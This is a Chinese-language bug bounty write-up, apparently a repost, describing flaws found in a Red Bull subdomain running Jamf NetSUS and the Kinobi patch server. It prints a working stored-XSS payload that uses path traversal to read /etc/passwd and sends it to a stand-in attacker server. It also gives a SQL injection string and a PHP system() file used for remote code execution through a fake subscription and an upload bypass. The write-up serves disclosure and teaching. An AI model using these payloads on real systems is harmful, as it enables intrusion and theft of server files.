授权配置错误
一天下午,我决定参加 Red Bull VDP 计划试试运气。我收集了子域并在浏览器中查看了有趣的子域。我打开其中一个,我们称它为 subdomain.redbull.com,然后我看到了一些 Web 界面。看起来像这样:
我尝试了本地登录和一些默认凭据,如 admin/admin、admin/test,但没有任何效果。我检查了标头并注意到里面有 PHPSESSID。我决定用 ffuf 进行目录和文件枚举。并找到了一些端点,但所有端点都将我重定向到主 Web 界面站点。我觉得这里没什么好找的。那天晚些时候,我决定用另一个单词表再次进行一些枚举。还发现了一些将我重定向到主界面的端点。但这次引起我注意的是响应大小。它们因端点而异。如果重定向点相同,则它们的大小都应该相等。我用卷曲检查了其中一些,看到了不同的反应。我发现这一定是一些配置错误,在执行实际脚本并呈现网站之后发生重定向。我立即打开 Burp 代理并添加一些规则以停止以我可以在浏览器中看到页面的方式进行重定向。这可以通过代理->选项->匹配和替换来完成。
应用这些规则后,我刷新了页面,然后……我进入了应用程序。我没有在那里尝试过任何东西。直接就报了。严重程度被标记为中等,我得到了一盘红牛作为奖励 :)。一段时间后,他们修复了这个错误。每当我输入应用程序 URL 时,都没有登录屏幕,我被重定向到其他一些身份验证站点。看起来很安全。
不太好修复
几个月后,我决定再次深入研究 RedBull VDP。我不知何故再次检查了相同的 URL。我再次运行 ffuf 只是为了看到虽然没有登录屏幕,但 PHP 端点(如 dashboard.php)仍然存在。我再次在 burp 中设置相同的重定向停止规则,输入 https://subdomain.redbull.com/webadmin/dashboard.php 端点,然后再次进入应用程序。万岁。这次我决定更深入地研究这个应用程序。很快我发现它是 jamf 的 NetSUS 应用程序。于是开始为它寻找漏洞。我什么也没找到。所以我转到了 github 和 bingo……这个应用程序是开源的,所以我在这里获得了所有源代码:
https://github.com/jamf/NetSUS/
真正的乐趣才刚刚开始。我决定自己深入研究代码,希望能找到一些错误。该应用程序还运行名为 Kinobi 补丁服务器的扩展,可在此处获得:
https://github.com/mondada/kinobi/
我在这两个应用程序中发现了一些有趣的错误。
路径遍历和LFI
我找到了允许您下载补丁的功能。这是网址:
https://subdomain.redbull.com/webadmin/webadmin/patchCtl.php?download=somepatchfile
如果我将 somepatchfile 更改为 ../../../../../../etc/passwd 会怎样?它起作用了,该端点遭受路径遍历并允许我从服务器读取文件,例如 /etc/passwd。但这里有一个问题。我登录应用程序的方式是通过重定向停止在 Burp 中,我没有完全通过身份验证。我可以做很多只检查浏览器中的会话 cookie 的操作。然而,一些功能也正确地检查了服务器端会话,我无法使用它们。这个下载动作就是其中之一。现在我窥探了应用程序并很快发现了一个 XSS 漏洞(实际上有很多)。不幸的是,在这个域中,XSS 超出了范围。
借助XSS,我想通了可能的攻击场景:
-
攻击者登录到 Web 应用程序(使用重定向错误配置)
-
攻击者转到补丁定义 -> 软件标题 -> 外部属性,并保存一个新的属性条目,但将其名称替换为精心制作的有效负载。
-
一段时间后,合法的管理员/用户/员工登录到 Web 应用程序,进入门户的这一部分,然后 XSS 被触发(因为它是存储的),将 /etc/passwd 文件直接发送到攻击者服务器。
我使用的有效载荷是:
%3Cimg%20id%3D%27imgx%27%3E%3Cimg%20src%3Dx%20onerror%3D%27var%20done%3D0%3Bif%28%21done%29%7Bvar%20xmlhttp%3Dnew%20XMLHttpRequest%3Bxmlhttp.onreadystatechange%3Dfunction %28%29%7Bif%284%3D%3Dxmlhttp.readyState%26%26200%3D%3Dxmlhttp.status%26%260%3D%3Ddone%29%7Bdone%3D1%2CstolenPage%3DencodeURI%28btoa%28xmlhttp.responseText29%292Cdocument .querySelector28%2223imgx22%29.src3D%22https3A%2F2Fattackerserver8%2Fexfil3F%222BstolenPage7D%7D2Cxmlhttp.open28%22GET22%2C22%2Fwebadmin%2FpatchCtl.php%3Fdownload%3D..%2F..%2F..%2F..%2F ..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%22%2C%210%29%2Cxmlhttp.send%28null%29%7D%27%3E
这是以下的 urlencoded 和缩小版本:
<img id='imgx'><img src=x onerror='
var done=false;
if (!done) {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200 && done==false) {
done=true;
stolenPage = encodeURI(btoa(xmlhttp.responseText));
const img = document.querySelector("#imgx");
img.src = "https://attackerserver/exfil?"+stolenPage;
}
}
}
xmlhttp.open("GET", '/webadmin/patchCtl.php?download=../../../../../../../../../etc/passwd', true);
xmlhttp.send(null);}'>
此代码通过 XML HTTP 请求使用 patchCtl.php 文件中的路径遍历检索 /etc/passwd,将响应编码为 BASE64,并通过 IMG SRC 标记将响应作为攻击者站点的 GET 参数发送。由于 XSS 触发了两次,在请求之间存在一些问题,因此“完成”变量可以避免第二次请求。肮脏的黑客但有效。
如果你解码上面的 bade64 垃圾,你可以看到它是 /etc/passwd 文件的内容。
这个漏洞是我在玩应用程序时发现的,甚至没有查看源代码。该错误存在于 Kinobi 项目中的 patchCtl.php 文件中:
SQL注入
此漏洞位于 /webadmin/patchTitles.php。创建标题的 SQL 已正确转义。但是,读取添加标题的 SQL 不是。
上面的代码看起来不错,但是:
此代码看起来不太好,所选值直接连接到查询中。我在这里需要做的就是构建正确的 SQL 负载,并在创建标题时将其放入name_id变量中。我用过这个:
a’ union SELECT group_concat(tbl_name) from sqlite_master–
列出了数据库中的所有表。该应用程序使用的是 SQLite 数据库。
第一个 RCE——RFI 和上传限制绕过
该应用程序中有订阅功能。此功能无需验证即可从位于远程服务器上的 JSON 文件获取数据,因此我可以向其提供虚假数据。那是设置订阅数据的请求:
这是设置所需参数的 POST 请求:
fake_subscription.json 订阅文件的格式是:
{“token”:”12345678901234567890123456789011″,”import”:”/tmp/rce.php”,”expires”:”2099-12-31″}
subs_url 是攻击者服务器上的订阅 JSON 文件的 URL,subs_token 必须存在并且必须是 JSON 文件中的 token 字段。订阅 JSON 文件中包含三个字段:
-
我上面描述的标记——可以是 32 长的字符串
-
import – 将要执行的 PHP 文件的位置
-
expires – 某个日期,也是必需的
现在我需要将 rce.php 文件上传到 /tmp 位置。我通过滥用备份上传功能做到了这一点。最初上传路径设置为/var/www/kinobi/backup,但我通过应用程序界面将其更改为/tmp。上传功能允许我上传 .sql.gz 文件,但只验证必须是 application/x-gzip 的 Content-Type。事实上,只需将 Content-Type 更改为 application/x-gzip,我就可以上传任何文件(也可以是 .php)。这样我就可以将 rce.php 文件上传到 /tmp。该文件的路径已在 fake_subscription.json 文件中设置。这是上传 rce.php 文件的请求:
rce.php 文件中填充了 X 以“击败”一些 CSS 对齐,从而使脚本的输出可见。system() php 命令未被阻止我可以轻松地在服务器上执行操作系统命令。我执行了 id、whoami 和主机名。负责上传备份文件的代码是:
正如您所看到的,只不过是内容类型检查。我现在所要做的就是运行我的邪恶服务器,为 fake_subscription.json 文件提供服务,并输入 https://subdomain.redbull.com/webadmin/patchTitles.php URL 来执行 rce.php。负责最终 RCE 的代码在 patchTitles.php 中:
第二次RCE
现在,我对我的发现非常满意。所以第二天我还在挖。我找到了另一个 RCE。根本原因与第一个相同,利用方法完全相同,不同之处在于 manageTitle.php 文件中存在完全相同的易受攻击代码。所以从 bug hunting 的角度来看,这是另一个 bug。这次我用了:
<?php for ($i=0; $i<=50; $i++) { system(“id”); }
作为 rce.php 文件。证据:
原文始发于微信公众号(Khan安全攻防实验室):典中典 – 国外漏洞挖掘案例